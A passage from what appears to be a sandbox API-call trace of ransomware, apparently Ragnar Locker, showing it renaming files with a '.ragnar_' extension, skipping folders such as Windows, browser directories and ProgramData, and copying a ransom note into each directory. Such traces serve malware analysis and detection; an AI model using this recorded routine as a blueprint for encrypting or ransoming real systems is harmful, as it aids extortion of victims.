nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.438] GetProcessHeap () returned 0x580000 [0078.438] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.438] CloseHandle (hObject=0x100) returned 1 [0078.438] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" [0078.438] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.ragnar_FD7BD9FC" [0078.438] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.439] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0078.439] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.439] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80dfade0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80dfade0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.439] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.439] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.439] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80dfade0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80dfade0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.439] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80dfade0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dfade0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.439] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80dfade0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dfade0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.439] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80fe9fc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80fe9fc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0078.439] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80dfade0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80dfade0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.439] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x43 [0078.439] lstrcpyW (in: lpString1=0x1eb640, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.440] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.440] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.440] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80dfade0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80dfade0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.440] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.440] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0078.440] lstrcmpiW (lpString1="VSTO", lpString2=".") returned 1 [0078.440] lstrcmpiW (lpString1="VSTO", lpString2="..") returned 1 [0078.440] lstrcmpiW (lpString1="VSTO", lpString2="Windows") returned -1 [0078.440] lstrcmpiW (lpString1="VSTO", lpString2="Windows.old") returned -1 [0078.440] lstrcmpiW (lpString1="VSTO", lpString2="Tor browser") returned 1 [0078.440] lstrcmpiW (lpString1="VSTO", lpString2="Internet Explorer") returned 1 [0078.440] lstrcmpiW (lpString1="VSTO", lpString2="Google") returned 1 [0078.440] lstrcmpiW (lpString1="VSTO", lpString2="Opera") returned 1 [0078.440] lstrcmpiW (lpString1="VSTO", lpString2="Opera Software") returned 1 [0078.440] lstrcmpiW (lpString1="VSTO", lpString2="Mozilla") returned 1 [0078.440] lstrcmpiW (lpString1="VSTO", lpString2="Mozilla Firefox") returned 1 [0078.440] lstrcmpiW (lpString1="VSTO", lpString2="$Recycle.Bin") returned 1 [0078.440] lstrcmpiW (lpString1="VSTO", lpString2="ProgramData") returned 1 [0078.440] lstrcmpiW (lpString1="VSTO", lpString2="All Users") returned 1 [0078.440] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0078.440] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="VSTO" | out: lpString1="VSTO") returned="VSTO" [0078.440] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\" [0078.440] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\" [0078.440] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\RGNR_FD7BD9FC.txt" [0078.440] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.447] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*" [0078.447] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0078.447] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.447] lstrcpyW (in: lpString1=0x1eb21c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81010120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.447] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.447] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81010120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.447] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.447] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.447] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0078.447] lstrcmpiW (lpString1="10.0", lpString2=".") returned 1 [0078.447] lstrcmpiW (lpString1="10.0", lpString2="..") returned 1 [0078.447] lstrcmpiW (lpString1="10.0", lpString2="Windows") returned -1 [0078.447] lstrcmpiW (lpString1="10.0", lpString2="Windows.old") returned -1 [0078.447] lstrcmpiW (lpString1="10.0", lpString2="Tor browser") returned -1 [0078.447] lstrcmpiW (lpString1="10.0", lpString2="Internet Explorer") returned -1 [0078.447] lstrcmpiW (lpString1="10.0", lpString2="Google") returned -1 [0078.447] lstrcmpiW (lpString1="10.0", lpString2="Opera") returned -1 [0078.447] lstrcmpiW (lpString1="10.0", lpString2="Opera Software") returned -1 [0078.447] lstrcmpiW (lpString1="10.0", lpString2="Mozilla") returned -1 [0078.447] lstrcmpiW (lpString1="10.0", lpString2="Mozilla Firefox") returned -1 [0078.447] lstrcmpiW (lpString1="10.0", lpString2="$Recycle.Bin") returned 1 [0078.447] lstrcmpiW (lpString1="10.0", lpString2="ProgramData") returned -1 [0078.447] lstrcmpiW (lpString1="10.0", lpString2="All Users") returned -1 [0078.447] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0078.447] lstrcpyW (in: lpString1=0x1eb630, lpString2="10.0" | out: lpString1="10.0") returned="10.0" [0078.448] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\" [0078.448] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\" [0078.448] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\RGNR_FD7BD9FC.txt" [0078.448] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.452] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*" [0078.452] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0078.452] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.452] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.452] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81010120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.452] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.452] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81010120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.452] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.452] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.452] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0078.452] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0078.452] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0078.452] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1 [0078.452] lstrcmpiW (lpString1="1033", lpString2="Windows.old") returned -1 [0078.452] lstrcmpiW (lpString1="1033", lpString2="Tor browser") returned -1 [0078.452] lstrcmpiW (lpString1="1033", lpString2="Internet Explorer") returned -1 [0078.452] lstrcmpiW (lpString1="1033", lpString2="Google") returned -1 [0078.452] lstrcmpiW (lpString1="1033", lpString2="Opera") returned -1 [0078.452] lstrcmpiW (lpString1="1033", lpString2="Opera Software") returned -1 [0078.452] lstrcmpiW (lpString1="1033", lpString2="Mozilla") returned -1 [0078.452] lstrcmpiW (lpString1="1033", lpString2="Mozilla Firefox") returned -1 [0078.452] lstrcmpiW (lpString1="1033", lpString2="$Recycle.Bin") returned 1 [0078.452] lstrcmpiW (lpString1="1033", lpString2="ProgramData") returned -1 [0078.452] lstrcmpiW (lpString1="1033", lpString2="All Users") returned -1 [0078.452] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0078.453] lstrcpyW (in: lpString1=0x1eab62, lpString2="1033" | out: lpString1="1033") returned="1033" [0078.453] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\" [0078.453] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\" [0078.453] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\RGNR_FD7BD9FC.txt" [0078.453] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.457] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*" [0078.457] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x45 [0078.457] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.457] lstrcpyW (in: lpString1=0x1e9c80, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.457] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81010120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0078.457] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.457] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81010120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.457] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.457] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.457] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81010120, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.457] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.457] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.457] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0078.457] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2=".") returned 1 [0078.457] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="..") returned 1 [0078.457] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0078.457] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2=".") returned 1 [0078.457] 